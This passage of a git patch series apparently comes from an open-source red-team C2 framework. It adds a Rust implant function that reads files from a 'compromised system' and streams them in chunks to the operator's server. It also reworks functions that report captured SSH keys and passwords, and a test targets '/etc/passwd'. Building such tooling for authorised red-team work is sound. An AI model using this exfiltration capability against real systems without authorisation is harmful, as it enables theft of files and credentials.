mut found = false; + for msg in runtime.messages() { + if let Message::ReportFile(m) = msg { + assert_eq!(tc.id, m.id); + assert_eq!(tc.want_path, m.path); + found = true; + } + } + assert!(found); + } + )* + } + } + + struct TestCase { + pub id: i64, + pub tome: Tome, + pub want_path: String, + } + + test_cases! { + one_file: TestCase{ + id: 123, + tome: Tome{ + eldritch: String::from(r#"report.file(path="/etc/passwd")"#), + parameters: HashMap::new(), + file_names: Vec::new(), + }, + want_path: String::from("/etc/passwd"), + }, + } +} diff --git a/implants/lib/eldritch/src/report/mod.rs b/implants/lib/eldritch/src/report/mod.rs index 02d585a09..5443497bf 100644 --- a/implants/lib/eldritch/src/report/mod.rs +++ b/implants/lib/eldritch/src/report/mod.rs @@ -1,3 +1,4 @@ +mod file_impl; mod process_list_impl; mod ssh_key_impl; mod user_password_impl; @@ -23,21 +24,32 @@ crate::eldritch_lib!(ReportLibrary, "report_library"); #[rustfmt::skip] #[allow(clippy::needless_lifetimes, clippy::type_complexity, clippy::too_many_arguments)] fn methods(builder: &mut MethodsBuilder) { + #[allow(unused_variables)] + fn file(this: &ReportLibrary, starlark_eval: &mut Evaluator<'v, '_>, path: String) -> anyhow::Result { + let env = crate::runtime::Environment::from_extra(starlark_eval.extra)?; + file_impl::file(env, path)?; + Ok(NoneType{}) + } + + #[allow(unused_variables)] fn process_list(this: &ReportLibrary, starlark_eval: &mut Evaluator<'v, '_>, process_list: UnpackList>) -> anyhow::Result { - process_list_impl::process_list(starlark_eval, process_list.items)?; + let env = crate::runtime::Environment::from_extra(starlark_eval.extra)?; + process_list_impl::process_list(env, process_list.items)?; Ok(NoneType{}) } #[allow(unused_variables)] fn ssh_key(this: &ReportLibrary, starlark_eval: &mut Evaluator<'v, '_>, username: String, key: String) -> anyhow::Result { - ssh_key_impl::ssh_key(starlark_eval, username, key)?; + let env = crate::runtime::Environment::from_extra(starlark_eval.extra)?; + ssh_key_impl::ssh_key(env, username, key)?; Ok(NoneType{}) } #[allow(unused_variables)] fn user_password(this: &ReportLibrary, starlark_eval: &mut Evaluator<'v, '_>, username: String, password: String) -> anyhow::Result { - user_password_impl::user_password(starlark_eval, username, password)?; + let env = crate::runtime::Environment::from_extra(starlark_eval.extra)?; + user_password_impl::user_password(env, username, password)?; Ok(NoneType{}) } } diff --git a/implants/lib/eldritch/src/report/process_list_impl.rs b/implants/lib/eldritch/src/report/process_list_impl.rs index 74ab47fa5..956e7cf5a 100644 --- a/implants/lib/eldritch/src/report/process_list_impl.rs +++ b/implants/lib/eldritch/src/report/process_list_impl.rs @@ -1,15 +1,10 @@ use crate::runtime::{messages::ReportProcessListMessage, Environment}; use anyhow::Result; use pb::eldritch::{process::Status, Process, ProcessList}; +use starlark::collections::SmallMap; use starlark::values::Value; -use starlark::{collections::SmallMap, eval::Evaluator}; - -pub fn process_list( - starlark_eval: &Evaluator<'_, '_>, - process_list: Vec>, -) -> Result<()> { - let env = Environment::from_extra(starlark_eval.extra)?; +pub fn process_list(env: &Environment, process_list: Vec>) -> Result<()> { let mut pb_process_list = ProcessList { list: Vec::new() }; for proc in process_list { pb_process_list.list.push(Process { diff --git a/implants/lib/eldritch/src/report/ssh_key_impl.rs b/implants/lib/eldritch/src/report/ssh_key_impl.rs index c54c7022c..260b13a76 100644 --- a/implants/lib/eldritch/src/report/ssh_key_impl.rs +++ b/implants/lib/eldritch/src/report/ssh_key_impl.rs @@ -1,10 +1,8 @@ use crate::runtime::{messages::ReportCredentialMessage, Environment}; use anyhow::Result; use pb::eldritch::{credential::Kind, Credential}; -use starlark::eval::Evaluator; -pub fn ssh_key(starlark_eval: &Evaluator<'_, '_>, username: String, key: String) -> Result<()> { - let env = Environment::from_extra(starlark_eval.extra)?; +pub fn ssh_key(env: &Environment, username: String, key: String) -> Result<()> { env.send(ReportCredentialMessage { id: env.id(), credential: Credential { diff --git a/implants/lib/eldritch/src/report/user_password_impl.rs b/implants/lib/eldritch/src/report/user_password_impl.rs index b73a90a1f..8a2c912a2 100644 --- a/implants/lib/eldritch/src/report/user_password_impl.rs +++ b/implants/lib/eldritch/src/report/user_password_impl.rs @@ -1,14 +1,8 @@ use crate::runtime::{messages::ReportCredentialMessage, Environment}; use anyhow::Result; use pb::eldritch::{credential::Kind, Credential}; -use starlark::eval::Evaluator; -pub fn user_password( - starlark_eval: &Evaluator<'_, '_>, - username: String, - password: String, -) -> Result<()> { - let env = Environment::from_extra(starlark_eval.extra)?; +pub fn user_password(env: &Environment, username: String, password: String) -> Result<()> { env.send(ReportCredentialMessage { id: env.id(), credential: Credential { diff --git a/implants/lib/eldritch/src/runtime/environment.rs b/implants/lib/eldritch/src/runtime/environment.rs index 2c1d4aa2c..94afabfa0 100644 --- a/implants/lib/eldritch/src/runtime/environment.rs +++ b/implants/lib/eldritch/src/runtime/environment.rs @@ -7,22 +7,6 @@ use starlark::{ }; use std::sync::mpsc::Sender; -pub struct FileRequest { - name: String, - tx_data: Sender>, -} - -impl FileRequest { - pub fn name(&self) -> String { - self.name.clone() - } - - pub fn send_chunk(&self, chunk: Vec) -> Result<()> { - self.tx_data.send(chunk)?; - Ok(()) - } -} - #[derive(ProvidesStaticType)] pub struct Environment { pub(super) id: i64, diff --git a/implants/lib/eldritch/src/runtime/messages/report_file.rs b/implants/lib/eldritch/src/runtime/messages/report_file.rs index aff87c9c0..3ddfb7af8 100644 --- a/implants/lib/eldritch/src/runtime/messages/report_file.rs +++ b/implants/lib/eldritch/src/runtime/messages/report_file.rs @@ -1,5 +1,10 @@ use super::{Dispatcher, Transport}; -use anyhow::Result; +use anyhow::{anyhow, Result}; +use pb::{ + c2::ReportFileRequest, + eldritch::{File, FileMetadata}, +}; +use std::{io::Read, sync::mpsc::sync_channel}; #[cfg_attr(debug_assertions, derive(Debug))] #[derive(Clone)] @@ -9,7 +14,71 @@ pub struct ReportFileMessage { } impl Dispatcher for ReportFileMessage { - async fn dispatch(self, _transport: &mut impl Transport) -> Result<()> { + async fn dispatch(self, transport: &mut impl Transport) -> Result<()> { + // Configure Limits + const CHUNK_SIZE: usize = 1024 * 1024; // 1MB Limit per chunk + const MAX_FILE_SIZE: usize = CHUNK_SIZE * 1024; // 1GB Limit per file + + // Use a sync_channel to limit memory usage in case of network errors. + // e.g. stop reading the file until more chunks can be sent. + let (tx, rx) = sync_channel(1); + + // Spawn a new tokio task to read the file (in chunks) + let task_id = self.id; + let path = self.path.clone(); + let handle = tokio::spawn(async move { + let result = || -> Result<()> { + // Open file for reading + let mut f = std::fs::File::open(&path)?; + if f.metadata()?.len() > MAX_FILE_SIZE as u64 { + return Err(anyhow!("execeeded max file size")); + } + + // Loop until we've finished reading the file + loop { + let mut buffer = [0; CHUNK_SIZE]; + let n = f.read(&mut buffer[..])?; + + // Send chunk to the transport stream this will block until + // the transport stream is able to flush the data to the network + tx.send(ReportFileRequest { + task_id, + chunk: Some(File { + metadata: Some(FileMetadata { + path: path.clone(), + + // TODO: File Metadata + owner: String::new(), + group: String::new(), + permissions: String::new(), + + // Automatically derived by server + size: 0, + sha3_256_hash: String::new(), + }), + chunk: buffer.to_vec(), + }), + })?; + + if n < 1 { + break Ok(()); + } + } + }; + + match result() { + Ok(_) => {} + Err(_err) => { + #[cfg(debug_assertions)] + log::error!("failed to report file: {}", _err); + } + } + }); + + // Wait for completion + let (_, join_err) = tokio::join!(transport.report_file(rx), handle); + join_err?; + Ok(()) } } diff --git a/implants/lib/eldritch/src/runtime/mod.rs b/implants/lib/eldritch/src/runtime/mod.rs index 49051d4fc..d470c8949 100644 --- a/implants/lib/eldritch/src/runtime/mod.rs +++ b/implants/lib/eldritch/src/runtime/mod.rs @@ -3,7 +3,7 @@ mod environment; mod eval; pub mod messages; -pub use environment::{Environment, FileRequest}; +pub(crate) use environment::Environment; pub use eval::{start, Runtime}; pub use messages::Message; @@ -151,6 +151,16 @@ mod tests { want_text: String::from(r#"["format_to_epoch", "format_to_readable", "now", "sleep"]"#), want_error: None, }, + report_bindings: TestCase { + id: 123, + tome: Tome { + eldritch: String::from("print(dir(report))"), + parameters: HashMap::new(), + file_names: Vec::new(), + }, + want_text: String::from(r#"["file", "process_list", "ssh_key", "user_password"]"#), + want_error: None, + }, } #[tokio::test(flavor = "multi_thread", worker_threads = 128)] From efccf8262fddffea7e1bc1c6b69e6271667d6801 Mon Sep 17 00:00:00 2001 From: KCarretto Date: Thu, 15 Feb 2024 23:12:38 +0000 Subject: [PATCH 07/13] fix golem error strings --- implants/golem/src/main.rs | 3 +-- implants/lib/eldritch/src/runtime/eval.rs | 13 ++++++++----- .../eldritch/src/runtime/messages/fetch_asset.rs | 4 ++++ implants/lib/eldritch/src/runtime/messages/mod.rs | 11 +++++++---- .../src/runtime/messages/report_credential.rs | 3 +++ .../eldritch/src/runtime/messages/report_error.rs | 3 +++ .../eldritch/src/runtime/messages/report_file.rs | 10 ++++++++++ .../eldritch/src/runtime/messages/report_finish.rs | 3 +++ .../src/runtime/messages/report_process_list.rs | 4 ++++ .../eldritch/src/runtime/messages/report_start.rs | 3 +++ .../eldritch/src/runtime/messages/report_text.rs | 3 +++ 11 files changed, 49 insertions(+), 11 deletions(-) diff --git a/implants/golem/src/main.rs b/implants/golem/src/main.rs index 546c757d6..80ae18c95 100644 --- a/implants/golem/src/main.rs +++ b/implants/golem/src/main.rs @@ -36,8 +36,7 @@ async fn run_tomes(tomes: Vec) -> Result> { for runtime in &mut runtimes { runtime.finish().await; - let messages = runtime.collect(); - for msg in messages { + for msg in runtime.messages() { match msg { Message::ReportText(m) => result.push(m.text()), Message::ReportError(m) => { diff --git a/implants/lib/eldritch/src/runtime/eval.rs b/implants/lib/eldritch/src/runtime/eval.rs index 1c67a00e5..051da3bb8 100644 --- a/implants/lib/eldritch/src/runtime/eval.rs +++ b/implants/lib/eldritch/src/runtime/eval.rs @@ -1,4 +1,4 @@ -use super::{drain::drain, messages::aggregate, Environment}; +use super::drain::drain; use crate::{ assets::AssetsLibrary, crypto::CryptoLibrary, @@ -6,7 +6,10 @@ use crate::{ pivot::PivotLibrary, process::ProcessLibrary, report::ReportLibrary, - runtime::messages::{Message, ReportErrorMessage, ReportFinishMessage, ReportStartMessage}, + runtime::{ + messages::{Message, ReportErrorMessage, ReportFinishMessage, ReportStartMessage}, + Environment, + }, sys::SysLibrary, time::TimeLibrary, }; @@ -73,7 +76,7 @@ pub async fn start(id: i64, tome: Tome) -> Runtime { // Report evaluation errors match env.send(ReportErrorMessage { id, - error: err.to_string(), + error: format!("{:?}", err), }) { Ok(_) => {} Err(_send_err) => { @@ -220,7 +223,7 @@ impl Runtime { * Collects the currently available messages from the tome. */ pub fn collect(&self) -> Vec { - aggregate(drain(&self.rx)) + drain(&self.rx) } /* @@ -232,7 +235,7 @@ impl Runtime { * Example: * ```rust * for msg in runtime.messages() { - * // TODO: Stuff + * // Do Stuff * } * ``` */ diff --git a/implants/lib/eldritch/src/runtime/messages/fetch_asset.rs b/implants/lib/eldritch/src/runtime/messages/fetch_asset.rs index 64f17d323..9bb430aff 100644 --- a/implants/lib/eldritch/src/runtime/messages/fetch_asset.rs +++ b/implants/lib/eldritch/src/runtime/messages/fetch_asset.rs @@ -4,6 +4,10 @@ use pb::c2::{FetchAssetRequest, FetchAssetResponse}; use std::sync::mpsc::Sender; use transport::Transport; +/* + * FetchAssetMessage indicates that the owner of the corresponding `eldritch::Runtime` should send + * an asset with the requested name to the provided sender (it may be sent in chunks). + */ #[cfg_attr(debug_assertions, derive(Debug))] #[derive(Clone)] pub struct FetchAssetMessage { diff --git a/implants/lib/eldritch/src/runtime/messages/mod.rs b/implants/lib/eldritch/src/runtime/messages/mod.rs index 546310cf9..cbd4506a4 100644 --- a/implants/lib/eldritch/src/runtime/messages/mod.rs +++ b/implants/lib/eldritch/src/runtime/messages/mod.rs @@ -24,10 +24,16 @@ use std::future::Future; #[cfg(debug_assertions)] use derive_more::Display; +// Dispatcher defines the shared "dispatch" method used by all `Message` variants to send their data using a transport. pub trait Dispatcher { fn dispatch(self, transport: &mut impl Transport) -> impl Future> + Send; } +/* + * A Message from an Eldritch tome evaluation `tokio::task` to the owner of the corresponding `eldritch::Runtime`. + * This enables eldritch library functions to communicate with the caller API, enabling structured data reporting + * as well as resource requests (e.g. fetching assets). + */ #[cfg_attr(debug_assertions, derive(Debug, Display))] #[derive(From, Clone)] pub enum Message { @@ -56,6 +62,7 @@ pub enum Message { ReportFinish(ReportFinishMessage), } +// The Dispatcher implementation for `Message` simply calls the `dispatch()` implementation on the underlying variant. impl Dispatcher for Message { async fn dispatch(self, transport: &mut impl Transport) -> Result<()> { #[cfg(debug_assertions)] @@ -75,7 +82,3 @@ impl Dispatcher for Message { } } } - -pub(crate) fn aggregate(messages: Vec) -> Vec { - messages -} diff --git a/implants/lib/eldritch/src/runtime/messages/report_credential.rs b/implants/lib/eldritch/src/runtime/messages/report_credential.rs index 57325bcdf..db7fd464c 100644 --- a/implants/lib/eldritch/src/runtime/messages/report_credential.rs +++ b/implants/lib/eldritch/src/runtime/messages/report_credential.rs @@ -2,6 +2,9 @@ use super::{Dispatcher, Transport}; use anyhow::Result; use pb::{c2::ReportCredentialRequest, eldritch::Credential}; +/* + * ReportCredentialMessage reports a credential captured by this tome's evaluation. + */ #[cfg_attr(debug_assertions, derive(Debug))] #[derive(Clone)] pub struct ReportCredentialMessage { diff --git a/implants/lib/eldritch/src/runtime/messages/report_error.rs b/implants/lib/eldritch/src/runtime/messages/report_error.rs index adbf1d72a..68c84ec33 100644 --- a/implants/lib/eldritch/src/runtime/messages/report_error.rs +++ b/implants/lib/eldritch/src/runtime/messages/report_error.rs @@ -2,6 +2,9 @@ use super::{Dispatcher, Transport}; use anyhow::Result; use pb::c2::{ReportTaskOutputRequest, TaskError, TaskOutput}; +/* + * ReportErrorMessage reports an error encountered by this tome's evaluation. + */ #[cfg_attr(debug_assertions, derive(Debug))] #[derive(Clone)] pub struct ReportErrorMessage { diff --git a/implants/lib/eldritch/src/runtime/messages/report_file.rs b/implants/lib/eldritch/src/runtime/messages/report_file.rs index 3ddfb7af8..deb2d3c19 100644 --- a/implants/lib/eldritch/src/runtime/messages/report_file.rs +++ b/implants/lib/eldritch/src/runtime/messages/report_file.rs @@ -6,6 +6,16 @@ use pb::{ }; use std::{io::Read, sync::mpsc::sync_channel}; +/* + * ReportFileMessage prepares a file on disk to be sent to the provided transport (when dispatched). + * + * It will not attempt to read files with a size greater than 1GB. + * It will read the file in (1MB) chunks to prevent overwhelming memory usage. + * If the transport becomes blocked, it will hold at most 2 chunks in memory and + * block until the transport becomes available. + * If the transport errors, it will close the file and exit immediately. + * It will not open the provided file until it has been dispatched. + */ #[cfg_attr(debug_assertions, derive(Debug))] #[derive(Clone)] pub struct ReportFileMessage { diff --git a/implants/lib/eldritch/src/runtime/messages/report_finish.rs b/implants/lib/eldritch/src/runtime/messages/report_finish.rs index 13796bb3a..583a587a3 100644 --- a/implants/lib/eldritch/src/runtime/messages/report_finish.rs +++ b/implants/lib/eldritch/src/runtime/messages/report_finish.rs @@ -3,6 +3,9 @@ use anyhow::Result; use pb::c2::{ReportTaskOutputRequest, TaskOutput}; use prost_types::Timestamp; +/* + * ReportFinishMessage indicates the end of a tome's evaluation. + */ #[cfg_attr(debug_assertions, derive(Debug))] #[derive(Clone)] pub struct ReportFinishMessage { diff --git a/implants/lib/eldritch/src/runtime/messages/report_process_list.rs b/implants/lib/eldritch/src/runtime/messages/report_process_list.rs index 09268d0e3..c9c4eb02c 100644 --- a/implants/lib/eldritch/src/runtime/messages/report_process_list.rs +++ b/implants/lib/eldritch/src/runtime/messages/report_process_list.rs @@ -2,6 +2,10 @@ use super::{Dispatcher, Transport}; use anyhow::Result; use pb::{c2::ReportProcessListRequest, eldritch::ProcessList}; +/* + * ReportProcessListMessage reports a process list snapshot captured by this tome's evaluation. + * It should never be send with a partial listing, only with full process lists. + */ #[cfg_attr(debug_assertions, derive(Debug))] #[derive(Clone)] pub struct ReportProcessListMessage { diff --git a/implants/lib/eldritch/src/runtime/messages/report_start.rs b/implants/lib/eldritch/src/runtime/messages/report_start.rs index ed769564a..6eac271c4 100644 --- a/implants/lib/eldritch/src/runtime/messages/report_start.rs +++ b/implants/lib/eldritch/src/runtime/messages/report_start.rs @@ -3,6 +3,9 @@ use anyhow::Result; use pb::c2::{ReportTaskOutputRequest, TaskOutput}; use prost_types::Timestamp; +/* + * ReportStartMessage indicates the start of a tome's evaluation. + */ #[cfg_attr(debug_assertions, derive(Debug))] #[derive(Clone)] pub struct ReportStartMessage { diff --git a/implants/lib/eldritch/src/runtime/messages/report_text.rs b/implants/lib/eldritch/src/runtime/messages/report_text.rs index 459c82ce3..c24f0ca78 100644 --- a/implants/lib/eldritch/src/runtime/messages/report_text.rs +++ b/implants/lib/eldritch/src/runtime/messages/report_text.rs @@ -2,6 +2,9 @@ use super::{Dispatcher, Transport}; use anyhow::Result; use pb::c2::{ReportTaskOutputRequest, TaskOutput}; +/* + * ReportTextMessage reports textual output (e.g. from `print()`) created by this tome's evaluation. + */ #[cfg_attr(debug_assertions, derive(Debug))] #[derive(Clone)] pub struct ReportTextMessage { From 9de85fe7d537a9214bb0c72e49099557edb1b89a Mon Sep 17 00:00:00 2001 From: KCarretto Date: Thu, 15 Feb 2024 23:24:17 +0000 Subject: [PATCH 08/13] report library docs --- docs/_docs/user-guide/eldritch.md | 31 +++++++++++++++++++++++++++++++ 1 file changed, 31 insertions(+) diff --git a/docs/_docs/user-guide/eldritch.md b/docs/_docs/user-guide/eldritch.md index 457b981b5..24456ad3a 100644 --- a/docs/_docs/user-guide/eldritch.md +++ b/docs/_docs/user-guide/eldritch.md @@ -90,6 +90,7 @@ It currently contains seven modules: - `file` - Used to interact with files on the system. - `pivot` - Used to identify and move between systems. - `process` - Used to interact with processes on the system. +- `report` - Structured data reporting capabilities. - `sys` - General system capabilities can include loading libraries, or information about the current context. - `time` - General functions for obtaining and formatting time, also add delays into code. @@ -635,6 +636,36 @@ The process.netstat method returns all information on TCP, UDP, and Unix --- +## Report + +The report library is designed to enabled reporting structured data to Tavern. It's API is still in the active development phase, so **future versions of Eldritch may break tomes that rely on this API**. + +### report.file + +`report.file(path: str) -> None` + +Reports a file from the host that an Eldritch Tome is being evaluated on (e.g. a compromised system) to Tavern. It has a 1GB size limit, and will report the file in 1MB chunks. This process happens asynchronously, so after `report.file()` returns **there are no guarantees about when this file will be reported**. This means that if you delete the file immediately after reporting it, it may not be reported at all (race condition). + +### report.process_list + +`report.process_list(list: List) -> None` + +Reports a snapshot of the currently running processes on the host system. This should only be called with the entire process list (e.g. from calling `process.list()`), as it will replace Tavern's current list of processes for the host with this new snapshot. + +### report.ssh_key + +`report.ssh_key(username: str, key: str) -> None` + +Reports a captured SSH Key credential to Tavern. It will automatically be associated with the host that the Eldritch Tome was being evaluated on. + +### report.user_password + +`report.user_password(username: str, password: str) -> None` + +Reports a captured username & password combination to Tavern. It will automatically be associated with the host that the Eldritch Tome was being evaluated on. + +--- + ## Sys ### sys.dll_inject From 9b1bb1f01fe70da96631812d622a26facb189fe8 Mon Sep 17 00:00:00 2001 From: KCarretto Date: Thu, 15 Feb 2024 23:39:10 +0000 Subject: [PATCH 09/13] address comments, fix fetch_asset gRPC --- .vscode/settings.json | 3 - docs/_docs/user-guide/eldritch.md | 2 +- implants/lib/pb/Cargo.toml | 4 +- implants/lib/transport/src/grpc.rs | 7 +- implants/lib/transport/src/transport.rs | 7 +- ...pi_download_file.go => api_fetch_asset.go} | 4 +- ...d_file_test.go => api_fetch_asset_test.go} | 4 +- tavern/internal/c2/c2pb/c2.pb.go | 135 +++++++++--------- tavern/internal/c2/c2pb/c2_grpc.pb.go | 38 ++--- 9 files changed, 95 insertions(+), 109 deletions(-) rename tavern/internal/c2/{api_download_file.go => api_fetch_asset.go} (91%) rename tavern/internal/c2/{api_download_file_test.go => api_fetch_asset_test.go} (96%) diff --git a/.vscode/settings.json b/.vscode/settings.json index 6700f1729..75e520d59 100644 --- a/.vscode/settings.json +++ b/.vscode/settings.json @@ -4,7 +4,4 @@ "rust-analyzer" ], "rust-analyzer.check.command": "clippy", - "rust-analyzer.linkedProjects": [ - "./implants/lib/transport/Cargo.toml" - ], } diff --git a/docs/_docs/user-guide/eldritch.md b/docs/_docs/user-guide/eldritch.md index 24456ad3a..48d0b7c29 100644 --- a/docs/_docs/user-guide/eldritch.md +++ b/docs/_docs/user-guide/eldritch.md @@ -638,7 +638,7 @@ The process.netstat method returns all information on TCP, UDP, and Unix ## Report -The report library is designed to enabled reporting structured data to Tavern. It's API is still in the active development phase, so **future versions of Eldritch may break tomes that rely on this API**. +The report library is designed to enable reporting structured data to Tavern. It's API is still in the active development phase, so **future versions of Eldritch may break tomes that rely on this API**. ### report.file diff --git a/implants/lib/pb/Cargo.toml b/implants/lib/pb/Cargo.toml index 296c32c5b..a55b9b753 100644 --- a/implants/lib/pb/Cargo.toml +++ b/implants/lib/pb/Cargo.toml @@ -4,13 +4,13 @@ version = "0.0.5" edition = "2021" [dependencies] +anyhow = { workspace = true } log = { workspace = true } -tonic = { workspace = true, features = ["tls-roots"] } prost = { workspace = true} prost-types = { workspace = true } tokio = { workspace = true, features = ["macros", "rt-multi-thread"] } tokio-stream = { workspace = true } -anyhow = { workspace = true } +tonic = { workspace = true, features = ["tls-roots"] } [build-dependencies] tonic-build = { workspace = true } diff --git a/implants/lib/transport/src/grpc.rs b/implants/lib/transport/src/grpc.rs index 2e02b1586..b3a093569 100644 --- a/implants/lib/transport/src/grpc.rs +++ b/implants/lib/transport/src/grpc.rs @@ -1,11 +1,6 @@ use crate::Transport; use anyhow::Result; -use pb::c2::{ - ClaimTasksRequest, ClaimTasksResponse, FetchAssetRequest, FetchAssetResponse, - ReportCredentialRequest, ReportCredentialResponse, ReportFileRequest, ReportFileResponse, - ReportProcessListRequest, ReportProcessListResponse, ReportTaskOutputRequest, - ReportTaskOutputResponse, -}; +use pb::c2::*; use std::sync::mpsc::{Receiver, Sender}; use tonic::codec::ProstCodec; use tonic::GrpcMethod; diff --git a/implants/lib/transport/src/transport.rs b/implants/lib/transport/src/transport.rs index 628b63aff..fddfe5d50 100644 --- a/implants/lib/transport/src/transport.rs +++ b/implants/lib/transport/src/transport.rs @@ -1,10 +1,5 @@ use anyhow::Result; -use pb::c2::{ - ClaimTasksRequest, ClaimTasksResponse, FetchAssetRequest, FetchAssetResponse, - ReportCredentialRequest, ReportCredentialResponse, ReportFileRequest, ReportFileResponse, - ReportProcessListRequest, ReportProcessListResponse, ReportTaskOutputRequest, - ReportTaskOutputResponse, -}; +use pb::c2::*; use std::sync::mpsc::{Receiver, Sender}; #[trait_variant::make(Transport: Send)] diff --git a/tavern/internal/c2/api_download_file.go b/tavern/internal/c2/api_fetch_asset.go similarity index 91% rename from tavern/internal/c2/api_download_file.go rename to tavern/internal/c2/api_fetch_asset.go index f1f340f76..7aa15a2ea 100644 --- a/tavern/internal/c2/api_download_file.go +++ b/tavern/internal/c2/api_fetch_asset.go @@ -12,7 +12,7 @@ import ( "realm.pub/tavern/internal/ent/file" ) -func (srv *Server) DownloadFile(req *c2pb.FetchAssetRequest, stream c2pb.C2_DownloadFileServer) error { +func (srv *Server) FetchAsset(req *c2pb.FetchAssetRequest, stream c2pb.C2_FetchAssetServer) error { ctx := stream.Context() // Load File @@ -33,7 +33,7 @@ func (srv *Server) DownloadFile(req *c2pb.FetchAssetRequest, stream c2pb.C2_Down "file-size", fmt.Sprintf("%d", f.Size), )) - // Send File Chunks + // Send Asset Chunks buf := bytes.NewBuffer(f.Content) for { // Check Empty Buffer diff --git a/tavern/internal/c2/api_download_file_test.go b/tavern/internal/c2/api_fetch_asset_test.go similarity index 96% rename from tavern/internal/c2/api_download_file_test.go rename to tavern/internal/c2/api_fetch_asset_test.go index 41781286d..271867484 100644 --- a/tavern/internal/c2/api_download_file_test.go +++ b/tavern/internal/c2/api_fetch_asset_test.go @@ -18,7 +18,7 @@ import ( "realm.pub/tavern/internal/c2/c2test" ) -func TestDownloadFile(t *testing.T) { +func TestFetchAsset(t *testing.T) { // Setup Dependencies ctx := context.Background() client, graph, close := c2test.New(t) @@ -68,7 +68,7 @@ func TestDownloadFile(t *testing.T) { SaveX(ctx) // Send Request - fileClient, err := client.DownloadFile(ctx, tc.req) + fileClient, err := client.FetchAsset(ctx, tc.req) require.NoError(t, err) // Read All Chunks diff --git a/tavern/internal/c2/c2pb/c2.pb.go b/tavern/internal/c2/c2pb/c2.pb.go index 45f95ccc6..7987c37a2 100644 --- a/tavern/internal/c2/c2pb/c2.pb.go +++ b/tavern/internal/c2/c2pb/c2.pb.go @@ -1088,72 +1088,71 @@ var file_c2_proto_rawDesc = []byte{ 0x62, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x22, 0x34, 0x0a, 0x12, 0x43, 0x6c, 0x61, 0x69, 0x6d, 0x54, 0x61, 0x73, 0x6b, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1e, 0x0a, 0x05, 0x74, 0x61, 0x73, 0x6b, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x08, 0x2e, 0x63, 0x32, - 0x2e, 0x54, 0x61, 0x73, 0x6b, 0x52, 0x05, 0x74, 0x61, 0x73, 0x6b, 0x73, 0x22, 0x29, 0x0a, 0x13, - 0x44, 0x6f, 0x77, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x2c, 0x0a, 0x14, 0x44, 0x6f, 0x77, 0x6e, 0x6c, - 0x6f, 0x61, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, - 0x14, 0x0a, 0x05, 0x63, 0x68, 0x75, 0x6e, 0x6b, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x05, - 0x63, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x68, 0x0a, 0x17, 0x52, 0x65, 0x70, 0x6f, 0x72, 0x74, 0x43, - 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x12, 0x17, 0x0a, 0x07, 0x74, 0x61, 0x73, 0x6b, 0x5f, 0x69, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x03, 0x52, 0x06, 0x74, 0x61, 0x73, 0x6b, 0x49, 0x64, 0x12, 0x34, 0x0a, 0x0a, 0x63, 0x72, 0x65, - 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x14, 0x2e, - 0x65, 0x6c, 0x64, 0x72, 0x69, 0x74, 0x63, 0x68, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, - 0x69, 0x61, 0x6c, 0x52, 0x0a, 0x63, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x22, - 0x1a, 0x0a, 0x18, 0x52, 0x65, 0x70, 0x6f, 0x72, 0x74, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, - 0x69, 0x61, 0x6c, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x52, 0x0a, 0x11, 0x52, - 0x65, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x69, 0x6c, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x12, 0x17, 0x0a, 0x07, 0x74, 0x61, 0x73, 0x6b, 0x5f, 0x69, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x03, 0x52, 0x06, 0x74, 0x61, 0x73, 0x6b, 0x49, 0x64, 0x12, 0x24, 0x0a, 0x05, 0x63, 0x68, 0x75, - 0x6e, 0x6b, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x0e, 0x2e, 0x65, 0x6c, 0x64, 0x72, 0x69, - 0x74, 0x63, 0x68, 0x2e, 0x46, 0x69, 0x6c, 0x65, 0x52, 0x05, 0x63, 0x68, 0x75, 0x6e, 0x6b, 0x22, - 0x14, 0x0a, 0x12, 0x52, 0x65, 0x70, 0x6f, 0x72, 0x74, 0x46, 0x69, 0x6c, 0x65, 0x52, 0x65, 0x73, - 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x5e, 0x0a, 0x18, 0x52, 0x65, 0x70, 0x6f, 0x72, 0x74, 0x50, - 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x12, 0x17, 0x0a, 0x07, 0x74, 0x61, 0x73, 0x6b, 0x5f, 0x69, 0x64, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x03, 0x52, 0x06, 0x74, 0x61, 0x73, 0x6b, 0x49, 0x64, 0x12, 0x29, 0x0a, 0x04, 0x6c, 0x69, - 0x73, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x15, 0x2e, 0x65, 0x6c, 0x64, 0x72, 0x69, - 0x74, 0x63, 0x68, 0x2e, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x4c, 0x69, 0x73, 0x74, 